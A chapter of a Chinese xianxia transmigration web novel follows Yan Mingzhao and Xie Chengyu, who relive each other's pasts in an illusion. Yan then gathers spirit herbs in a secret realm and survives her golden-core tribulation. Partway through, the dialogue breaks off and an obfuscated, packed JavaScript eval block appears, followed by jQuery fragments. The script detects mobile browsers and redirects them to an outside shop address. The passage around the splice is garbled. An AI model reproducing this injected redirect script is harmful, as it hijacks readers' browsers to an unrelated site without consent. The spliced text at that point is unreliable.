颜明昭眼前是破旧的小屋和一纸仙门考核报名表。


    姓名那一栏写下的名字是与她同名同姓的原主。


    她捂脸叹了口气，略感无奈。


    进幻境还玩上套娃了。


    由于怕在幻境中待太久出什么意外，颜明昭刚进来就打算使用清心诀破境离开。


    但做完法诀眼前的场景却毫无变化。


    她心下一沉，敲了敲系统：“怎么会出现意识到身处幻境却无法破解的情况？和我是穿越来的有关吗？”


    系统这次倒是难的靠谱了一回。


    【宿主您好，因为原主的魂魄已经转世离开，所以幻境无法破除，只能跟随幻境走完原主的一生，之后幻境会自动消散。】


    “好，我知道了。”既然无法离开，颜明昭选择既来之则安之，老老实实在原主的幻境里经历她的过往。


    原主同无数想要修仙的普通百姓一样，因为家境一般，修行无门，导致修炼效果不佳。


    唯一不一样的是原主接触修炼的时间很短，便恰巧赶上了仙门考核，于是冲着秘境中可能遇到的机缘报了名。


    她遇到了谢成誉，因为谢成誉作剑修时名气太大，她还认为谢成誉是那个第一剑修，便想前去讨教。


    谢成誉当然拒绝了。


    原先颜明昭以为是谢成誉这种世家大族的弟子不屑和她们这些普通百姓接触，现在想来很可能是因为他已经没办法用剑了。


    但哪怕如此，原主也凭借极佳的悟性只靠观摩仙门弟子的比试便掌握了不少剑法技巧。


    她本在为仙门考核努力做准备，却死在了考核开始的前三天。


    被蒙面的陌生人攻击时她格外冷静地出招反击。


    颜明昭能感受到她的恐惧，新学的剑法也略有生疏，但她出招却干脆狠戾。


    虽未炼气，但每剑都凝聚着微弱的红色灵流，远远超出凡人应有的水准。


    可惜对手太过强大，她渐渐落了下风，在受到致命一击前，她划破了对手脸上的面具。


    颜明昭与她一同感受到胸口被捅穿的剧烈疼痛，眼前暂时失去了所有画面，只余一片空白。


    她咬着下唇逼自己凝神，看到了面具下那张颇为艳丽的面容和一双深紫色的眼睛。


    -


    与此同时，颜明昭自己的幻境内。


    谢成誉看着眼前完全陌生的世界，愣在了车水马龙的街上。


    街边小店的玻璃门映出颜明昭的脸，谢成誉看着那张和在修真界有八分相似的面容，猜到自己大概是进了颜明昭穿越前的世界、她自己的身体上。


    这是和谢成誉认知中完全不同的世界。他也知道自己做了清心诀便能离开，却迟迟没有出手。


    他在颜明昭的身体里看着这里的一切。


    看到颜明昭的家人朋友，看她念书上学，看陌生的科技与普通的凡人生活。


    她家庭幸福，母亲父亲结婚几十年仍然浪漫恩爱，她也有许多朋友，关系都很好，常聚在一起谈天说地。


    偶尔被学业困扰，遇到做不成的实验或是得分不佳的期末，她会消沉难过，却也会快速调整好状态。


    谢成誉自己从未有过这样积极的心态，与她感同身受时，他体会到了前所未有地雀跃。


    颜明昭没有什么妄念，幻境中与现实唯一不同的是那场车祸。


    与醉驾闯红灯的大车擦肩而过，她惊出一身冷汗。


    但谢成誉知道现实中没有这样幸运。


    -


    原主的幻境在她离世的那一刻结束，颜明昭出来后看到了真正的云梦秘境。


    秘境内部古树参天，绿意盎然，潺潺流水伴着鸟鸣，比颜明昭迄今所见的所有场景都要如梦似幻。


    能平安进入，任务变算完成了一半，剩下的只能靠机缘气运了。


    “谢成誉，你在吗？”


    “在。”


    “你是不是进到我的幻境内了？”


    “嗯。”


    突然毫无预兆地熟悉了彼此的过往，确认他安全后，颜明昭后知后觉反应过来一些尴尬和无措。


    她非常庆幸此刻谢成誉在锅里，无法与她对视，让她能够很好地隐藏那些莫名的情绪。


    任务要找的灵草叫九叶灵芝，一般生长在植被密集的深林中。


    云梦秘境不比考核秘境有长老发的地图，进来只能靠自己探索。


    颜明昭在秘境中感受到分外充沛的木系灵气。


    她闭上眼仔细感受灵气分布：“一般这种灵草会在灵力密集处生长吧？我们北面差不多两公里的位置木系灵气最盛。”


    谢成誉语气不太肯定：“你能感受到灵气最盛的具体位置？”


    听到他的话颜明昭愣了一下：“啊？不能感受到吗？”


    “可以，但正常只能感受到大致位置。比如能感受到这处秘境内的灵气高于秘境外，但无法具体到秘境中哪里最盛。”


    颜明昭匆忙睁开眼睛，结束感应：“等等等等，这不会又是系统不知道从哪个犄角旮旯给的奖励吧？”


    系统那个页面不讲一点人性化设计，像是想起什么模块需要补充就随便抓一个地方塞进去，颜明昭至今也不敢说自己是完全熟悉了它乱七八糟的功能。


    回忆起一些不太美妙的经历，颜明昭不敢乱用解锁的新技能，生怕下一刻系统就跳出来给她倒计时数秒。


    她在页面翻了半天也没找到相关信息，系统也不主动出声，只得无奈道：“醒一醒，能不能解决一下用户需求，这是挂还是我自己的能力？”


    【我们暂时没有开发出这类金手指，这是您自己的能力，请放心使用。】


    “……还放心使用，你也知道你们的金手指不靠谱吧。”


    确定不会被系统坑后，颜明昭决定先往感知到的灵气最盛处走。


    深林中不便御剑，她一路走一路不自主地吸收灵力。


    循着木灵指引，颜明昭来到一潭池水边。她来之前只来得及记住了九叶灵芝长什么样，仔细寻找了四周却并没有发现任务对象。


    对于修真界的其它植物，颜明昭的认知堪比一根成年香蕉，根本分不清什么是什么，她申请场外援助：“谢老师谢老师，来看看这有没有什么好东西。”


    “……你进我幻境时没有稍微学一学吗？”


    “你还上药学课了？”互相进入对方幻境的好处是颜明昭消除了和谢成誉跨越世界的“代沟”，不再需要给谢成誉额外解释某些现代词是什么意思。


    “没有单独上，但平时也会接触，偶尔其它课老师也会提及。”


    颜明昭有些心虚：“你早课练完剑累得要死，我太困了，文化课比较容易昏迷，可能讲的时候不小心睡过去了吧哈哈。”


    “……哎，”谢成誉叹了口气，“你左边树下，叶尖是红色的那颗。”


    颜明昭依言摘下：“还有吗？”


    “你把灵草当蘑菇吗，哪有那么多，没有了。”


    她把刚摘下的灵草收好，闭上眼重新感受灵气：“那我们换下一个地方了。”


    颜明昭依照这种办法连续挖了四五颗灵草，虽然还没找到九叶灵芝，但也收获颇丰。


    “我感觉我发现了一条通天路。我们去摘灵草倒卖吧。”


    谢成誉生在世家，算是各种天才都见过，但也第一次见颜明昭这样仿若开挂的。


    但她总能把话说得不太体面。


    “……一定要用‘倒卖’这个词吗，这不是你自己摘的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197769|197036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吗。想卖还是想练成丹药都随你处理。”


    “那很好了，我感觉我的生活费有救了。”


    查到的资料中记载，夜晚的云梦秘境要比白天危险数倍，颜明昭并不打算挑战自我，准备在夜幕降临前离开。


    她感应到两处灵气更盛之处与现在所在的地方距离差不多，但天黑前只来得及去一处。


    她选择困难大爆发，把谢成誉薅出来问：“左边右边选一个？”


    “左边吧。”


    “好呀，赌一把碰碰运气，输了不赔赢了稳赚。”


    到了地方，颜明昭终于看到了熟悉的草药。


    确认是九叶灵芝后颜明昭采下来夸赞道：“谢成誉你真是天才啊！”


    “……到底在天才什么。”


    她把灵草收好顺手拿出了任务纸，欣赏上面的天阶报酬。


    “十万灵石……你家真有钱啊。天好冷能不能让我把手伸你钱包里暖暖。”


    “暖吧，我现在身无分文。”


    “……好寒心。”


    这次是颜明昭穿进来以来最顺利的一次，九叶灵芝附近的木灵格外充沛，她下意识将灵力运转一周，刚准备离开却感到周身的灵力涌向丹田。


    灵气极致压缩给丹田处带来了难以言说的痛感，秘境内的天骤然暗了下去，极远的天边传来阵阵雷鸣。


    颜明昭有些不太确定：“我是结丹了吗？”


    “是。”谢成誉语气严肃，“从金丹期开始，每升一次境界都需要渡天劫。秘境之内雷劫劈不进来。”


    “劈不进来会怎么……”话音未落，颜明昭眼前的场景骤然变幻，她被从密林抛至高空，落到了一处陌生的山上。


    刚站稳，谢成誉答：“……会被丢出去。”


    正常情况下修士预感到自己要升境界后会寻找合适的地点做足准备，颜明昭却是完全猝不及防。


    她环视陌生的山巅，方才极远的雷劫现在近在眼前：“人果然要切记半场开香槟啊，我刚想说这次最顺利就冒出点不顺利的。”


    话是这样说，却没耽误她思考对策。颜明昭盯着天边的阵阵电闪雷鸣，手上拿起问心，下意识挽了个剑花。


    挽了之后她愣了一下。先前她对剑不甚熟练，学的也都是最基础实用的剑法，像剑花这种造型意义大于实用意义的她从未做过。


    没想明白个所以然，金丹期唯一一道雷劫毫无预兆地劈了下来。


    颜明昭全靠肌肉记忆迎击，一招一式却锋芒毕现，剑声锵然。


    伴随着雷劫而来的闪电照亮了半边夜空，颜明昭手握问心斩向天际，雷劫被劈作两段，其中蕴含的巨大能量被问心悉数吸收。


    风吹起她的长发，片刻后又偃旗息鼓，天边重新暗了下去。


    颜明昭长舒一口气，感受着丹田处那颗金丹的存在，看了看问心和自己握剑的手。


    此刻问心不再像一把陌生的武器，而是熟悉得仿佛她身体的一部分。


    问心吸收了雷劫后似乎变得更强，颜明昭掂了掂剑柄：“我好像在你的幻境中把剑法学会了？”


    “嗯，”谢成誉语气带着笑意，“你天赋极高，定会成为史上最快当上榜首之人。”


    这一趟收获颇丰，颜明昭心情也很好：“是看到了一些回家的希望。”


    谢成誉收敛了过分明显的笑意，却还是少见地温和：“你的家乡很好，亲人朋友很好，你……”他不知为何没有说出到嘴边的那句“你也很好”，只是坚定道，“一定能回去的。”


    他的话又让颜明昭想起她们进入了对方的幻境，唤回了她那些难以言说的情绪。


    她后知后觉地意识到，在幻境中体会过彼此的人生后，她们成了跨越世界，最了解彼此的人。